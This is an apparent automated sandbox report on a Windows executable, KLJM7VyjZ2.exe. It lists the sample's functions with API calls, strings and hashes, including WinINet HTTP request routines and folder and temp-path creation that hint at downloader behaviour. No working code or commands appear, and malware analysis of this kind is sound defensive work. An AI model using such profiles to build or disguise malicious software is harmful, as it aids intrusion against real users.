Part of subcall function 01CC14C2: HeapFree.KERNEL32(00000000,00000000,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?), ref: 01CC14D8
Part of subcall function 01CC14C2: GetLastError.KERNEL32(?,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?,?), ref: 01CC14EA

_free.LIBCMT ref: 01CC7F36
_free.LIBCMT ref: 01CC7F4B
_free.LIBCMT ref: 01CC7F56
_free.LIBCMT ref: 01CC7F78
_free.LIBCMT ref: 01CC7F8B
_free.LIBCMT ref: 01CC7F99
_free.LIBCMT ref: 01CC7FA4
_free.LIBCMT ref: 01CC7FDC
_free.LIBCMT ref: 01CC7FE3
_free.LIBCMT ref: 01CC8000
_free.LIBCMT ref: 01CC8018

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction ID: 3be26d975d4ddae6d0abf2532281b1f96e0fd2b0473b2cfc495eb1a9e451aab6
Opcode Fuzzy Hash: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction Fuzzy Hash: B7313B32A00302DFEB21AA7DD884F5AB7E9EF10B50F14841DE459D7192DB75EE80DB20

Uniqueness

Uniqueness Score: -1.00%

Function 00417C74 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00417CB8

Part of subcall function 00416F20: _free.LIBCMT ref: 00416F3D
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F4F
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F61
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F73
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F85
Part of subcall function 00416F20: _free.LIBCMT ref: 00416F97
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FA9
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FBB
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FCD
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FDF
Part of subcall function 00416F20: _free.LIBCMT ref: 00416FF1
Part of subcall function 00416F20: _free.LIBCMT ref: 00417003
Part of subcall function 00416F20: _free.LIBCMT ref: 00417015

_free.LIBCMT ref: 00417CAD

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00417CCF
_free.LIBCMT ref: 00417CE4
_free.LIBCMT ref: 00417CEF
_free.LIBCMT ref: 00417D11
_free.LIBCMT ref: 00417D24
_free.LIBCMT ref: 00417D32
_free.LIBCMT ref: 00417D3D
_free.LIBCMT ref: 00417D75
_free.LIBCMT ref: 00417D7C
_free.LIBCMT ref: 00417D99
_free.LIBCMT ref: 00417DB1

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction ID: e9e017e9e70096e1a3b6c1b1170feda9da74edb8891a580a10505246af74ddce
Opcode Fuzzy Hash: af609678471b8ab540c2b8950501b42a478479f5e86e843434d43beba63a830c
Instruction Fuzzy Hash: 66313D316082049FEB616B39E885BEB73F5BF40354F14445BE55AE6261DE39EDC08A18

Uniqueness

Uniqueness Score: -1.00%

Function 0041701E Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00417066
_free.LIBCMT ref: 0041708A
_free.LIBCMT ref: 00417097
_free.LIBCMT ref: 004170BC
_free.LIBCMT ref: 004170C9
_free.LIBCMT ref: 004170D2
_free.LIBCMT ref: 004173AC
_free.LIBCMT ref: 004173B4

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 34f5fdf0b8bdb14330cc865bf637b4ee9d4ff9b5938c2c07efc02eda8cb8b269
Instruction ID: 42fbab66e9cf25db311135ae3b80c01aff3d2257f9b586594fdb2add1afdc84e
Opcode Fuzzy Hash: 34f5fdf0b8bdb14330cc865bf637b4ee9d4ff9b5938c2c07efc02eda8cb8b269
Instruction Fuzzy Hash: B6C14572D40208BBDB20DBA9CC82FDE77F8AB48744F14415AFE05FB282D674D9919B58

Uniqueness

Uniqueness Score: -1.00%

Function 01CBB189 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 01CBB286
type_info::operator==.LIBVCRUNTIME ref: 01CBB2A8
___TypeMatch.LIBVCRUNTIME ref: 01CBB3B7
IsInExceptionSpec.LIBVCRUNTIME ref: 01CBB489
_UnwindNestedFrames.LIBCMT ref: 01CBB50D
CallUnexpected.LIBVCRUNTIME ref: 01CBB528

Strings

csm, xrefs: 01CBB2DF
csm, xrefs: 01CBB1C6
csm, xrefs: 01CBB233

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction ID: 399b30ccc4716c09170215eb55a767f70bf8e76d36943e38a0eea452110cebd5
Opcode Fuzzy Hash: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction Fuzzy Hash: CFB1347180020AEBCF25DFA8C8C0AEEBBB5BF14310F544459E915AB212D775EE61DF92

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF22 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0040B01F
type_info::operator==.LIBVCRUNTIME ref: 0040B041
___TypeMatch.LIBVCRUNTIME ref: 0040B150
IsInExceptionSpec.LIBVCRUNTIME ref: 0040B222
_UnwindNestedFrames.LIBCMT ref: 0040B2A6
CallUnexpected.LIBVCRUNTIME ref: 0040B2C1

Strings

csm, xrefs: 0040AF5F
csm, xrefs: 0040AFCC
csm, xrefs: 0040B078

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction ID: 9b87920d04b85154828264b23fc5401adf6896f7eb034d6441ed0df8c70c5019
Opcode Fuzzy Hash: 64fec2e6905338865a3aa652d04a3b23e7e75c973bf99f0870139667b81e2020
Instruction Fuzzy Hash: D6B16771800209AFCF15DFA5C9859AFB7B5FF14314B1440AEE8107B292D739EA61CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 01CC0E8F Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01CC0EA5

Part of subcall function 01CC14C2: HeapFree.KERNEL32(00000000,00000000,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?), ref: 01CC14D8
Part of subcall function 01CC14C2: GetLastError.KERNEL32(?,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?,?), ref: 01CC14EA

_free.LIBCMT ref: 01CC0EB1
_free.LIBCMT ref: 01CC0EBC
_free.LIBCMT ref: 01CC0EC7
_free.LIBCMT ref: 01CC0ED2
_free.LIBCMT ref: 01CC0EDD
_free.LIBCMT ref: 01CC0EE8
_free.LIBCMT ref: 01CC0EF3
_free.LIBCMT ref: 01CC0EFE
_free.LIBCMT ref: 01CC0F0C

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction ID: 4e4debc0bccf3b062feb8dcb2bb84010538e4d92888b785dcac2af46240b84d3
Opcode Fuzzy Hash: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction Fuzzy Hash: C421E776A00109EFCB01EF95C890CDEBBB9BF18600F0445AAF5099B521DB71EA94DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00410C28 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00410C3E

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00410C4A
_free.LIBCMT ref: 00410C55
_free.LIBCMT ref: 00410C60
_free.LIBCMT ref: 00410C6B
_free.LIBCMT ref: 00410C76
_free.LIBCMT ref: 00410C81
_free.LIBCMT ref: 00410C8C
_free.LIBCMT ref: 00410C97
_free.LIBCMT ref: 00410CA5

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction ID: 11d24dd239afa09924a0f0502ab39d585f16e363cbd1b0e4f0ad4e1278c0f01c
Opcode Fuzzy Hash: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction Fuzzy Hash: 2D218776900108EFCB41EF95C881DDE7BB9BF48344B0141AAF61AEB121EB35DA85CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC91 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,00414446), ref: 0041ACAA

Strings

asin, xrefs: 0041ADD7
sqrt, xrefs: 0041ADE9
pow, xrefs: 0041AD48, 0041ADF2, 0041AE3F
exp, xrefs: 0041AD29, 0041AD8E
log, xrefs: 0041AD07, 0041AD16
log10, xrefs: 0041ACEC, 0041ACFB
acos, xrefs: 0041ADE0

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 66e460ef18c7cf41edcbb915d46ed8d766cc47b0d4a94312d922ad545180dc80
Instruction ID: ad6360502c0488f750b27f8fb93aaf02fa721c93ca9c08d05312bd6d5e0ae066
Opcode Fuzzy Hash: 66e460ef18c7cf41edcbb915d46ed8d766cc47b0d4a94312d922ad545180dc80
Instruction Fuzzy Hash: E1517C70901A1ACBCB108F99F9481EEBFB6FB45305F508057D880A6665CB7C89B6CB4F

Uniqueness

Uniqueness Score: -1.00%

Function 01CC76A4 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01CC7712
_free.LIBCMT ref: 01CC771E
_free.LIBCMT ref: 01CC7847
_free.LIBCMT ref: 01CC7852

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction ID: d06a696d3c074ac05e7272124e4d03e713eb0fd8cf080b635cdd0bcca13530a9
Opcode Fuzzy Hash: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction Fuzzy Hash: 88619172A00306EFDB21DF69C841BABBBE8EB44B10F14856DEA55EB241EA70DD01DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0041743D Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004174AB
_free.LIBCMT ref: 004174B7
_free.LIBCMT ref: 004175E0
_free.LIBCMT ref: 004175EB

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction ID: 62d46b75d0a2d68c1cf99883932cb92cc8c473006f14587f2c16db2dd75d90f6
Opcode Fuzzy Hash: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction Fuzzy Hash: F661E471904305AFD720DF65C881BEBB7FAEF44710F20446BE95AEB241EB789D818B54

Uniqueness

Uniqueness Score: -1.00%

Function 01CB1FD7 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 311networkCOMMON

Download Yara Rule

APIs

__cftof.LIBCMT ref: 01CB2147
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 01CB2162
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 01CB2185
InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 01CB21A6
HttpOpenRequestA.WININET(00000000,004277DC,00000000,00000000,00000000,00000000,80400000,00000001), ref: 01CB21D7
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 01CB21F2

Part of subcall function 01CB1FD7: InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 01CB1B7C
Part of subcall function 01CB1FD7: InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 01CB1B9B
Part of subcall function 01CB1FD7: HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 01CB1C2F

Strings

Oa, xrefs: 01CB1DA4

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Internet$Http$FileOpenRequest$ConnectInfoOptionPointerQueryReadSend__cftof
String ID: Oa
API String ID: 3409182146-2842007192
Opcode ID: b33b3fcec9cc372dc0496a1f43d28b0db310f4c99a0ff0127a20882e912defc9
Instruction ID: 63792be34caa8c06dffec2c8e63fc9fe4c544fc987a1c827a172dad541c7455a
Opcode Fuzzy Hash: b33b3fcec9cc372dc0496a1f43d28b0db310f4c99a0ff0127a20882e912defc9
Instruction Fuzzy Hash: 8CA19271E00209EBDB14DFA8DCC4BEEBBB9EF44710F148219E911E7280D775A945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 01CC690E Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 01CC6938
_free.LIBCMT ref: 01CC6A11
_free.LIBCMT ref: 01CC6A3E

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction ID: 4f9ecd094cda93cb6f269236b5948cd662b430cdf1b1c04f33adf96a4cbafbe3
Opcode Fuzzy Hash: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction Fuzzy Hash: CA51D571E04362EEDB21AF79CA91AADBBA4EF41B10F04817ED60097381DB31DE419B50

Uniqueness

Uniqueness Score: -1.00%

Function 004166A7 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004166D1
_free.LIBCMT ref: 004167AA
_free.LIBCMT ref: 004167D7

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction ID: 8e74faf7002be57bf6f2fd9f0c469618525a6246d933c4169d22536521fd430b
Opcode Fuzzy Hash: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction Fuzzy Hash: 6E510871905305AFDB20BF759881AEE7BA4EF41318B12417FE910A7281DB39C9C58B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00407A99 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00407AE2
__alloca_probe_16.LIBCMT ref: 00407B0E
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00407B4D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00407B6A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00407BA9
__alloca_probe_16.LIBCMT ref: 00407BC6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00407C08
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00407C2B

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 9e62329a74614f329484a612d697a3e52236dc5b81e0e16222447d21e1e7e0be
Instruction ID: 045993c81a832b78f6ff1f4b0ec674b17b3dc119d98eacad835befa64c368bd9
Opcode Fuzzy Hash: 9e62329a74614f329484a612d697a3e52236dc5b81e0e16222447d21e1e7e0be
Instruction Fuzzy Hash: DE51B372908116AFEB205F50CC45FAB3BB9EF44748F15443AF904B62D0D739AD11CB99

Uniqueness

Uniqueness Score: -1.00%

Function 01CB818B Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042B3A4,00000FA0,?,?,01CB8169), ref: 01CB8197
GetModuleHandleW.KERNEL32(0041DFE0,?,?,01CB8169), ref: 01CB81A2
GetModuleHandleW.KERNEL32(0041E024,?,?,01CB8169), ref: 01CB81B3
GetProcAddress.KERNEL32(00000000,0041E040), ref: 01CB81C5
GetProcAddress.KERNEL32(00000000,0041E05C), ref: 01CB81D3
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,01CB8169), ref: 01CB81F6
RtlDeleteCriticalSection.NTDLL(0042B3A4), ref: 01CB8212
CloseHandle.KERNEL32(0042B3A0,?,?,01CB8169), ref: 01CB8222

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction ID: 4e9b4d32f12603c4e02a21b3288df467b488b6480741e5d999041074cd65d380
Opcode Fuzzy Hash: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction Fuzzy Hash: 460192B0B41621EFD6215BA5AC48BD63F9CEB08B45F554026FD09D2250DB74C5028769

Uniqueness

Uniqueness Score: -1.00%

Function 01CB3767 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,0042A018), ref: 01CB37F1
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000001), ref: 01CB39BA
GetTempPathA.KERNEL32(00000104,?,?,004278D4,00000001,00000000,00000001), ref: 01CB39E7
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000000,00000001), ref: 01CB3BC5

Strings

.exe, xrefs: 01CB3E76, 01CB3E8A
L]Z\, xrefs: 01CB43FA

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CreateDirectoryPath$FolderTemp
String ID: .exe$L]Z\
API String ID: 13841269-283220038
Opcode ID: 04d3ffee8056e23d3363862439cdabd04da35a94cae088dcdb75c44c2188972e
Instruction ID: 73222c7554935ae57abfe0c26752bf92ab9b342ea495b4d6d3200ef1de759a85
Opcode Fuzzy Hash: 04d3ffee8056e23d3363862439cdabd04da35a94cae088dcdb75c44c2188972e
Instruction Fuzzy Hash: 3AE1BB71A00299DBDB28DF28CC88BEDBBB5FB55304F1482D8D409A7291DB75AA84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405400 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00403050: ___std_exception_copy.LIBVCRUNTIME ref: 004030DF

std::locale::_Init.LIBCPMT ref: 0040550E

Part of subcall function 00407416: __EH_prolog3.LIBCMT ref: 0040741D
Part of subcall function 00407416: std::_Lockit::_Lockit.LIBCPMT ref: 00407428
Part of subcall function 00407416: std::locale::_Setgloballocale.LIBCPMT ref: 00407443
Part of subcall function 00407416: _Yarn.LIBCPMT ref: 00407459
Part of subcall function 00407416: std::_Lockit::~_Lockit.LIBCPMT ref: 00407499

Part of subcall function 00405D70: std::_Lockit::_Lockit.LIBCPMT ref: 00405DA6
Part of subcall function 00405D70: std::_Lockit::_Lockit.LIBCPMT ref: 00405DC9
Part of subcall function 00405D70: std::_Lockit::~_Lockit.LIBCPMT ref: 00405DE9
Part of subcall function 00405D70: std::_Lockit::~_Lockit.LIBCPMT ref: 00405E63

std::locale::_Init.LIBCPMT ref: 004055D1
Concurrency::cancel_current_task.LIBCPMT ref: 004056E8
Concurrency::cancel_current_task.LIBCPMT ref: 004056ED

Part of subcall function 00401670: ___std_exception_copy.LIBVCRUNTIME ref: 004016AE

Strings

`\@, xrefs: 0040545F
Z@, xrefs: 004055B4

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::_$Concurrency::cancel_current_taskInit___std_exception_copy$H_prolog3SetgloballocaleYarn
String ID: `\@$Z@
API String ID: 591049177-1951323669
Opcode ID: 34c9f51a2e32d7935480c6f65c831b0e7182bab9311ff13d0590eafd755f688a
Instruction ID: e0c124fb8473088db41e93e823f42bbfa6e654b079ae24bd55585f3ff2e4fed9
Opcode Fuzzy Hash: 34c9f51a2e32d7935480c6f65c831b0e7182bab9311ff13d0590eafd755f688a
Instruction Fuzzy Hash: 4DA134B0A00605DFDB00CF55C594B9ABBF0FF09304F1485AAE808AF792D7BAA944CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C20 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00402CA3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00402CEF
__Getctype.LIBCPMT ref: 00402D08
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00402D24
std::_Lockit::~_Lockit.LIBCPMT ref: 00402DB9

Strings

bad locale name, xrefs: 00402DD7

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1840309910-1405518554
Opcode ID: 3dc3348fa6665eb69c50da260a5416c241e4fada510a3812d4fefae7f47102fa
Instruction ID: 521a5c506aa32abf35a371aa3aec491995ea672d5ad7ed1dc5f5b637a1c2436e
Opcode Fuzzy Hash: 3dc3348fa6665eb69c50da260a5416c241e4fada510a3812d4fefae7f47102fa
Instruction Fuzzy Hash: EA5191B1D042589BDB10DFE5DD45B9EBBB8AF14304F14413AE804BB3C1E779AA04CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040AA27
___except_validate_context_record.LIBVCRUNTIME ref: 0040AA2F
_ValidateLocalCookies.LIBCMT ref: 0040AAB8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040AAE3
_ValidateLocalCookies.LIBCMT ref: 0040AB38

Strings

csm, xrefs: 0040AACD

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction ID: 966319c5c132bd8bd4a6a4c12a959da49c89f94429b79140b3e1eb370ccdc545
Opcode Fuzzy Hash: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction Fuzzy Hash: 4B41B634A003189BCF10DF69C884A9EBBB5EF44314F14806AEC156B3D2D7399A65CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00415C15 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

h]A, xrefs: 00415C66
C:\Users\user\Desktop\KLJM7VyjZ2.exe, xrefs: 00415C1A

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\KLJM7VyjZ2.exe$h]A
API String ID: 0-806070833
Opcode ID: 7f7f3462537e971ce76854522380655e7add2651e43c34bc36142944cdff18d4
